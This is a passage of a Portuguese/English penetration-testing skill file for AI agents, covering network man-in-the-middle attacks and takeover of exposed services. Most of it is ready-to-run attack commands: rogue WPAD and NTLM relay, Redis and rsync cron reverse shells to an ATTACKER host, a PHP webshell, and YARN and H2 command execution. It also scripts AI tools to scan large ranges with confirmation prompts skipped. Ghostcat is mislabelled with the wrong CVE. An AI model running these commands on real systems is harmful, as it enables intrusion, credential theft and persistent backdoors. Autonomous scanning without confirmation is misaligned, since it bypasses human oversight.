# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

# Manual WPAD PAC File
cat > wpad.dat << 'EOF'
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}
EOF
```

### 16.6 DHCPv6 Attack — mitm6

Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.

```bash
# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD
```

**Key Conditions:**
- SMB signing disabled on targets (for SMB relay)
- LDAP signing not enforced on DC (for LDAP relay)
- Domain Computers quota > 0 (for machine account creation, default: 10)

### 16.7 VLAN Hopping

```bash
# Switch Spoofing (DTP)
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

# Double Tagging (802.1Q)
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")
```

### 16.8 STP Manipulation

```bash
# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

# Topology Change Attack
yersinia stp -attack 1 -interface eth0
# Send TC (Topology Change) BPDUs → force MAC table flush → sniff traffic
```

### 16.9 DNS Spoofing

```bash
# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
```

### 16.10 IPv6 Attacks

```bash
# Router Advertisement Spoofing
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect

# SLAAC Abuse
# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default
```

### 16.11 IDS/IPS Evasion Techniques

| Technique | Method | Tool/Flag |
|---|---|---|
| IP Fragmentation | Split payload across fragments | `nmap -f`, `fragroute` |
| TTL Manipulation | Set TTL to expire at IDS but reach target | `fragroute` |
| Encoding Evasion | URL/Unicode/hex encoding | Manual, custom scripts |
| Session Splicing | Split TCP payload across segments | `fragroute`, `nmap --data-length` |
| Timing-Based | Slow scan to avoid rate-based detection | `nmap -T0`, `nmap -T1` |
| Decoy Scanning | Mix real scan with decoy source IPs | `nmap -D RND:10` |
| Idle/Zombie Scan | Use idle host as scan proxy | `nmap -sI ZOMBIE_IP` |

```bash
# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET
```

---

## 17. UNAUTHORIZED ACCESS TO COMMON SERVICES (PTES 4.1)

### 17.1 Service Discovery Matrix

```bash
nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET

# Key ports:
# 6379  — Redis
# 873   — Rsync
# 9000  — PHP-FPM (FastCGI)
# 8009  — AJP (Tomcat Ghostcat)
# 8088  — Hadoop YARN ResourceManager
# 8082  — H2 Console (or embedded in Spring Boot)
# 1099  — Java RMI Registry
# 9200  — Elasticsearch
# 5984  — CouchDB
# 2375  — Docker API
# 27017 — MongoDB
# 11211 — Memcached
```

### 17.2 Redis (Port 6379) — Write-to-RCE

```bash
# Detection
redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed

redis-cli -h TARGET INFO server
# Returns Redis version, OS, config

# Write SSH Authorized Keys
ssh-keygen -t rsa -f redis_rsa
redis-cli -h TARGET flushall
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
ssh -i redis_rsa root@TARGET

# Write Crontab (Reverse Shell)
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save

# Write Webshell
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id

# Master-Slave Replication RCE
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec
```

### 17.3 Rsync (Port 873) — Data Theft

```bash
# Detection
rsync TARGET::
# Lists available modules (shares) if anonymous access allowed

# Download entire module
rsync -av TARGET::MODULE_NAME /tmp/loot/

# Exploitation — Write Crontab
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
```

### 17.4 PHP-FPM / FastCGI (Port 9000) — Code Execution

```bash
# Mechanism: PHP-FPM listens for FastCGI requests
# If exposed to network (instead of Unix socket), send crafted FastCGI packets

# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"

# Key FastCGI Environment Variables:
# SCRIPT_FILENAME = /var/www/html/index.php   (must point to existing .php file)
# PHP_VALUE = auto_prepend_file = php://input  (injects POST body as PHP code)
# PHP_ADMIN_VALUE = allow_url_include = On     (enables remote inclusion)

# Via SSRF (gopher)
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi
```

### 17.5 Ghostcat — AJP (Port 8009) — CVE-2019-17564

```bash
# Mechanism: AJP trusts all incoming data
# Attacker connecting directly can set javax.servlet.include.request_uri

# File Read
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# Reads any file within the webapp root:
# /WEB-INF/web.xml          — deployment descriptor
# /WEB-INF/classes/*.class  — compiled Java classes
# /WEB-INF/lib/*.jar        — library JARs

# File Include → RCE (if file upload exists)
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed
```

### 17.6 Hadoop YARN ResourceManager (Port 8088)

```bash
# Detection
curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI

# RCE via Application Submission
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}

curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_xxx_0001",
    "application-name": "test",
    "am-container-spec": {
      "commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
    },
    "application-type": "YARN"
  }'
```

### 17.7 H2 Database Console (Port 8082)

```bash
# Detection — often enabled in Spring Boot apps:
# spring.h2.console.enabled=true
# spring.h2.console.settings.web-allow-others=true
# Access: http://TARGET:PORT/h2-console

# JNDI Injection via Connection String
# In the H2 Console login form, the JDBC URL field accepts JNDI:
# JDBC URL: javax.naming.InitialContext
# LDAP response attributes:
#   javaClassName: javax.el.ELProcessor
#   javaFactory: org.apache.naming.factory.BeanFactory
#   forceString: x=eval
#   x: Runtime.getRuntime().exec("id")

# RCE via RUNSCRIPT
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');
```

### 17.8 Reverse Proxy Misconfiguration

```bash
# Nginx Off-By-Slash Path Traversal
# Vulnerable configuration:
# location /static {
#     alias /var/www/static/;
# }
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal

# X-Forwarded-For / X-Real-IP Trust
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
# May bypass IP whitelist for admin panels

# Caddy Template Injection (Go template)
# If user input reaches Caddy template rendering:
{{.Req.Host}}          → Information disclosure
{{readFile "/etc/passwd"}}  → Local file read via Go template
```

---

## 18. Output Esperado desta Fase

1. **Lista de hosts ativos** (PTES 2.5.4.1)
2. **Portas abertas por host** (PTES 2.5.4.8)
3. **Serviços identificados** (PTES 2.5.4.7 - Banner Grabbing)
4. **CDN/WAF detection** (PTES 2.5.4)
5. **Firewall rules mapeadas** (com hping3)
6. **HTTP injection points** (com headi)
7. **Network diagram** com superfície de ataque
8. **Vulnerability scan results** (com Nettacker)
9. **Admin panels descobertos** (com Nettacker admin_scan)
10. **CVE findings** (com Nettacker vuln modules)
11. **Subdomain enumeration results** (crt.sh + fallback chain)
12. **Asset graph** com 29 tipos de assets e edge taxonomy
13. **Origin servers** descobertos (CDN/WAF bypass)
14. **Email security posture** (SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)
15. **Network protocol attack vectors** (ARP spoofing, LLMNR/NBT-NS, WPAD, DHCPv6)
16. **Exposed service exploitation paths** (Redis, Rsync, PHP-FPM, Ghostcat, YARN, H2)
17. **IDS/IPS evasion strategies** (fragmentation, timing, decoys)

---

## Referências PTES

- **PTES Section 2.5**: External Footprinting
  - 2.5.1: Identifying IP Ranges
  - 2.5.3: Passive Reconnaissance
  - 2.5.4: Active Reconnaissance (Ping Sweeps, Port Scanning)
- **PTES Section 3.1**: Vulnerability Testing
- **PTES Section 4.1**: Precision Strike (Countermeasure Bypass)

---

## 🤖 AIRecon Integration for Network Scanning

> **NOTE:** AIRecon can automate network scanning workflows, combine Naabu + Nettacker results, and provide intelligent target prioritization.

### AIRecon Invocation for Network Scanning

```bash
# Quick network scan with Naabu
airecon "scan target.com with naabu port scanner"

# Comprehensive network reconnaissance
airecon "network scan target.com using naabu and nettacker"

# Stealth scan with evasion techniques
airecon "stealth network scan target.com with hping3 evasion"

# Large scale subnet scan
airecon "scan 192.168.1.0/24 subnet for active hosts and open ports"
```

### Slash Command Integration

```bash
# Quick Naabu scan via slash command
/ai airecon "/naabu-scan target.com"

# Naabu with specific ports
/ai airecon "/naabu-scan target.com -p 80,443,8080,8443"

# Naabu full port scan
/ai airecon "/naabu-scan target.com -p -"

# Naabu with output
/ai airecon "/naabu-scan target.com -o scan-results.json"
```

### MCP Tool Integration for Network Scanning

```bash
# Use hexstrike-local for nmap scan
airecon "run nmap scan on target.com with version detection"

# Use hexstrike-local for naabu scan
airecon "run naabu scan on target.com with all ports"

# Use pentestswarm-remote for comprehensive recon
airecon "run pentestswarm quick_recon on target.com"

# Use hexstrike-local for masscan high-speed scan
airecon "run masscan on 192.168.0.0/16 at high speed"
```

### Workflow: AIRecon + Naabu + Nettacker

```bash
# Step 1: AIRecon runs Naabu for fast port discovery
airecon "naabu scan target.com -p - -silent"

# Step 2: AIRecon runs Nettacker for vulnerability scanning
airecon "nettacker scan target.com with vuln modules on discovered ports"

# Step 3: AIRecon consolidates results
airecon "consolidate naabu and nettacker results into unified report"

# AIRecon will:
# - Parse Naabu JSON output
# - Parse Nettacker HTML/JSON report
# - Deduplicate findings
# - Generate unified network map
# - Output: network_scan_report.json, network_topology.md
```

### Auto-Skill Loading for Network Scanning Keywords

| Keywords | Skills Loaded | MCP Tools |
|----------|---------------|-----------|
| `naabu`, `port scan`, `network scan` | `pentest-network-scanning.md` | `hexstrike-local` (nmap_scan, naabu_scan, rustscan_fast_scan) |
| `nettacker`, `OWASP`, `CVE scan` | `pentest-network-scanning.md`, `pentest-vulnerability-analysis.md` | `hexstrike-local` (nuclei_scan, nikto_scan) |
| `hping3`, `evasion`, `firewall` | `pentest-network-scanning.md` | `hexstrike-local` (optimize_tool_parameters_ai) |
| `subnet`, `CIDR`, `masscan` | `pentest-network-scanning.md` | `hexstrike-local` (masscan_high_speed, arp_scan_discovery) |
| `subdomain`, `dns`, `enumeration` | `pentest-network-scanning.md`, `pentest-intelligence-gathering.md` | `hexstrike-local` (subfinder_scan, amass_scan, dnsenum_scan) |

### AIRecon Network Scan Templates

```bash
# External footprinting (PTES 2.5.4)
airecon "external footprint target.com using subfinder, naabu, httpx"

# Internal network discovery
airecon "internal network scan 10.0.0.0/24 with arp and port scan"

# DMZ assessment
airecon "DMZ network assessment for target.com with vulnerability scanning"

# Cloud network mapping
airecon "AWS network mapping for account with naabu and nmap"
```

### AIRecon + pfSense Detection Workflow

```bash
# AIRecon auto-detects pfSense during network scan
airecon "scan firewall.target.com and detect if it's pfSense"

# If pfSense detected, AIRecon will:
# 1. Load pentest-pfsense skill automatically
# 2. Run pfSense-specific CVE checks
# 3. Check for default credentials
# 4. Test for command injection vectors
# 5. Generate pfSense-specific findings
```

### Error Handling and Retry Logic

```bash
# If scan fails due to rate limiting
airecon "scan target.com --rate-limit 100 --retry 3"

# If scan blocked by WAF
airecon "scan target.com --waf-evasion --proxy socks5://127.0.0.1:9050"

# If hosts unreachable
airecon "scan 192.168.1.0/24 --ping-before --timeout 5000"
```

### AIRecon Network Scan Output Formats

```bash
# JSON for SIEM integration
airecon "scan target.com --output json > network-scan.json"

# Markdown for documentation
airecon "scan target.com --output markdown > network-scan.md"

# CSV for spreadsheet analysis
airecon "scan target.com --output csv > network-scan.csv"

# Graph visualization data
airecon "scan target.com --output graph > network-topology.json"
```

---

## Referências PTES

- **PTES Section 2.5**: External Footprinting
  - 2.5.1: Identifying IP Ranges
  - 2.5.3: Passive Reconnaissance
  - 2.5.4: Active Reconnaissance (Ping Sweeps, Port Scanning)
- **PTES Section 3.1**: Vulnerability Testing
- **PTES Section 4.1**: Precision Strike (Countermeasure Bypass)

---

## 🤖 Watchtower Integration for Network Scanning

Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza network reconnaissance usando 23 ferramentas de segurança.

### Invocando Watchtower para Network Scanning

```bash
# Network scanning completo com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# Watchtower executará automaticamente:
# - Port scanning: nmap, masscan
# - Web probing: httpx, whatweb, wafw00f
# - Service detection: nmap -sV, whatweb
# - SSL/TLS analysis: testssl.sh, sslyze

# Scan de rede interna (CIDR ranges)
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools

# High-speed scanning com masscan
python -m watchtower.main -t 10.0.0.0/8 --skip-ask-tools
```

### Watchtower Slash Commands para Network Scanning

```bash
# Quick port scan
/watchtower-scan --target 192.168.1.0/24 --ports 1-1000

# Full port scan (all 65535 ports)
/watchtower-scan --target target.com --ports -

# Service version detection
/watchtower-scan --target target.com --service-detect

# SSL/TLS analysis
/watchtower-scan --target target.com --ssl-analysis

# WAF detection
/watchtower-scan --target target.com --waf-detect
```

### MCP Tool Integration via Watchtower

Watchtower integra-se com MCP tools automaticamente durante network scanning:

```bash
# hexstrike-local: Network scanning tools
# - nmap_scan: Port scanning com NSE scripts
# - masscan_high_speed: Internet-scale scanning
# - rustscan_fast_scan: Ultra-fast port discovery
# - arp_scan_discovery: ARP-based host discovery
# - nbtscan_netbios: NetBIOS enumeration
# - enum4linux_scan: SMB enumeration
# - smbmap_scan: SMB share enumeration

# Service detection
# - whatweb: CMS and framework detection
# - wafw00f: WAF fingerprinting
# - httpx_probe: HTTP probing with tech detect

# SSL/TLS analysis
# - testssl.sh: Comprehensive SSL/TLS testing
# - sslyze: SSL certificate and protocol analysis

# Vulnerability scanning
# - nuclei_scan: Template-based vulnerability detection
# - nikto_scan: Web server vulnerability assessment
```

### Workflow Example: Full Network Scan com Watchtower

```bash
# 1. Watchtower Planner analisa target e planeja scan
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools

# 2. Watchtower executa em paralelo:
#    - Host discovery (ARP, ICMP, TCP SYN)
#    - Port scanning (nmap, masscan)
#    - Service detection (nmap -sV, whatweb)
#    - SSL/TLS analysis (testssl.sh)
#    - WAF detection (wafw00f)

# 3. Watchtower Analyst consolida findings
# 4. Relatório PDF gerado automaticamente
python -m watchtower.main --report "network_scan_report.pdf"
```

### Workflow Example: pfSense Network Detection

```bash
# Watchtower detecta pfSense automaticamente
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools

# Detecção via:
# - nmap: Service version detection (nginx + pfSense)
# - whatweb: CMS fingerprinting
# - wafw00f: WAF/Platform detection
# - testssl.sh: SSL certificate analysis (CN=pfSense)

# Se pfSense detectado:
# - Watchtower mapeia portas (80, 443, 22, 1194)
# - Verifica CVEs via cve-mcp
# - Analyst categoriza por severidade
```

### Workflow Example: cPanel/WHM Network Detection

```bash
# Watchtower detecta cPanel/WHM nas portas padrão
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools

# Portas escaneadas automaticamente:
# - 2087 (WHM SSL)
# - 2083 (cPanel SSL)
# - 2095 (cPanel Webmail)
# - 2096 (Webmail SSL)

# Detecção via:
# - nmap -sV: Service version detection
# - whatweb: cPanel/WHM fingerprinting
```

### Watchtower Auto-Skill Loading para Network Scanning

| Keywords Detectadas | Skills Carregadas | Watchtower Tools Ativadas |
|---------------------|-------------------|---------------------------|
| `port scan` `network` | pentest-network-scanning | nmap, masscan, rustscan |
| `service detect` | pentest-network-scanning | nmap -sV, whatweb |
| `ssl` `tls` | pentest-vulnerability-analysis | testssl.sh, sslyze |
| `waf` | pentest-network-scanning | wafw00f |
| `web probe` | pentest-intelligence-gathering | httpx |
| `smb` `netbios` | pentest-network-scanning | nbtscan, enum4linux, smbmap |
| `host discovery` | pentest-network-scanning | arp-scan, nmap -sn |
| `high-speed` | pentest-network-scanning | masscan |

### Watchtower 23 Security Tools para Network Scanning

| Tool | Category | Use Case | Speed |
|------|----------|----------|-------|
| **nmap** | Port Scanning | Service discovery, version detection | Moderate |
| **masscan** | Port Scanning | Internet-scale, high-speed scanning | Ultra-fast |
| **rustscan** | Port Scanning | Fast port discovery + nmap integration | Very fast |
| **httpx** | Web Probing | HTTP probing, title, tech detection | Fast |
| **whatweb** | Tech Detection | CMS, framework, server identification | Fast |
| **wafw00f** | WAF Detection | WAF fingerprinting | Fast |
| **testssl.sh** | SSL/TLS | Comprehensive SSL/TLS configuration | Moderate |
| **sslyze** | SSL/TLS | SSL certificate and protocol analysis | Fast |
| **nuclei** | Vuln Scanning | Template-based vulnerability detection | Fast |
| **nikto** | Web Scanning | Web server vulnerability assessment | Moderate |
| **arp-scan** | Host Discovery | Local network ARP scanning | Very fast |
| **nbtscan** | NetBIOS | NetBIOS name scanning | Fast |
| **enum4linux** | SMB | SMB user/share enumeration | Moderate |
| **smbmap** | SMB | SMB share enumeration | Fast |
| **gobuster** | Dir Bruteforce | Directory/file discovery | Fast |
| **ffuf** | Fuzzing | Web application fuzzing | Very fast |

### Watchtower Network Scanning Strategies

```
┌─────────────────────────────────────────────────────────────┐
│              Watchtower Network Scanning Strategy            │
└─────────────────────────────────────────────────────────────┘
                              │
        ┌─────────────────────┼─────────────────────┐
        │                     │                     │
        ▼                     ▼                     ▼
┌───────────────┐   ┌─────────────────┐   ┌───────────────┐
│  Host Discovery│   │  Port Scanning  │   │Service Detect │
│               │   │                 │   │               │
│ - ARP scan    │   │ - masscan (fast)│   │ - nmap -sV    │
│ - ICMP ping   │   │ - nmap (std)    │   │ - whatweb     │
│ - TCP SYN     │   │ - rustscan      │   │ - wafw00f     │
└───────────────┘   └─────────────────┘   └───────────────┘
                              │
                              ▼
                    ┌─────────────────┐
                    │  Vuln Analysis  │
                    │                 │
                    │ - nuclei        │
                    │ - nikto         │
                    │ - testssl.sh    │
                    └─────────────────┘
```

### Watchtower + Naabu Combined Workflow

```bash
# 1. Naabu para descoberta rápida de portas
naabu -host target.com -p - -silent -j | tee naabu_ports.json

# 2. Watchtower para análise detalhada dos serviços
python -m watchtower.main -t https://target.com --skip-ask-tools

# 3. Consolidar resultados
# Naabu: Portas abertas
# Watchtower: Serviços, vulnerabilidades, SSL/TLS

# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_network_report.pdf"
```

### Watchtower + Nettacker Combined Workflow

```bash
# 1. Nettacker para vulnerability scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,*_vuln -o /output/nettacker.html

# 2. Watchtower para análise complementar
python -m watchtower.main -t https://target.com --skip-ask-tools

# 3. Watchtower Analyst compara findings:
# - Nettacker: 50+ CVE checks
# - Watchtower: 23 tools + LLM analysis

# 4. Consolidar findings
airecon "merge nettacker and watchtower findings"
```

### Watchtower Performance Tuning

```bash
# Rate limiting para scans grandes
python -m watchtower.main -t 10.0.0.0/8 \
  --rate-limit 1000 \
  --skip-ask-tools

# Threads para scanning paralelo
python -m watchtower.main -t 192.168.0.0/16 \
  --threads 50 \
  --skip-ask-tools

# Timeout customizado
python -m watchtower.main -t target.com \
  --timeout 30000 \
  --skip-ask-tools
```

### Watchtower Output Formats

```bash
# JSON output para integração
python -m watchtower.main -t target.com \
  --output json \
  --skip-ask-tools \
  -o scan_results.json

# PDF report automático
python -m watchtower.main -t target.com \
  --report "network_scan_report.pdf" \
  --skip-ask-tools

# SQLite database para persistência
# Watchtower salva automaticamente em:
# ~/.watchtower/pentest_memory.db
```

### Watchtower Error Handling

Watchtower implementa retry logic e fallback automático:

```
Se ferramenta falha:
1. Retry com backoff exponencial (2s, 4s, 8s)
2. Fallback para ferramenta alternativa:
   - nmap falha → masscan
   - masscan falha → rustscan
   - testssl.sh falha → sslyze
3. Reporta falha após 3 retries
4. Continua com próximas ferramentas
```

### Watchtower + AIRecon Combined Workflow

```bash
# 1. AIRecon para planning inicial
airecon "plan network scan for 192.168.1.0/24"

# 2. Watchtower para execução automatizada
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools

# 3. AIRecon para análise de findings
airecon "analyze watchtower network scan findings"

# 4. Watchtower gera relatório PDF
python -m watchtower.main --report "final_network_report.pdf"
```

### Watchtower Network Scan Templates

```bash
# External footprinting (PTES 2.5.4)
python -m watchtower.main -t target.com --skip-ask-tools

# Internal network discovery
python -m watchtower.main -t 10.0.0.0/24 --skip-ask-tools

# DMZ assessment
python -m watchtower.main -t dmz.target.com --skip-ask-tools

# Cloud network mapping
python -m watchtower.main -t cloud-target.com --skip-ask-tools

# Subnet enumeration
python -m watchtower.main -t 172.16.0.0/16 --skip-ask-tools
```

### Watchtower pfSense-Specific Network Detection

```bash
# Watchtower detecta pfSense automaticamente via:
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools

# Detecção automática:
# 1. nmap -sV: nginx + pfSense signatures
# 2. whatweb: pfSense CMS detection
# 3. wafw00f: pfSense WAF fingerprinting
# 4. testssl.sh: CN=pfSense no certificado

# Se pfSense detectado:
# - Watchtower carrega pentest-pfsense skill
# - Executa CVE checks específicos
# - Verifica portas padrão (80, 443, 22, 1194, 500)
```

### Watchtower cPanel/WHM Network Detection

```bash
# Watchtower escaneia portas cPanel/WHM automaticamente
python -m watchtower.main -t https://target.com --skip-ask-tools

# Portas verificadas:
# - 2087 (WHM SSL)
# - 2083 (cPanel SSL)
# - 2095 (cPanel Webmail)
# - 2096 (Webmail SSL)
# - 2086 (WHM não-SSL)
# - 2082 (cPanel não-SSL)

# Se cPanel detectado:
# - Watchtower carrega pentest-exploitation skill
# - Verifica CVE-2026-41940 (Authentication Bypass)
# - Executa wpscan para WordPress (se detectado)
```

---

## Recursos Relacionados

- `/pentest-intelligence-gathering` - OSINT e footprinting
- `/osint-investigation` - **Skill exclusiva de OSINT** com pipeline de 5 estágios, asset graph, e técnicas avançadas
- `/pentest-vulnerability-analysis` - Análise de vulnerabilidades com risk scoring (CVSS + EPSS + KEV + PoC)
- `/pentest-exploitation` - Exploração com hping3/headi
- `/pentest-post-exploitation` - Movimentação lateral e persistência
- `/security-commands` - Comandos de segurança rápidos
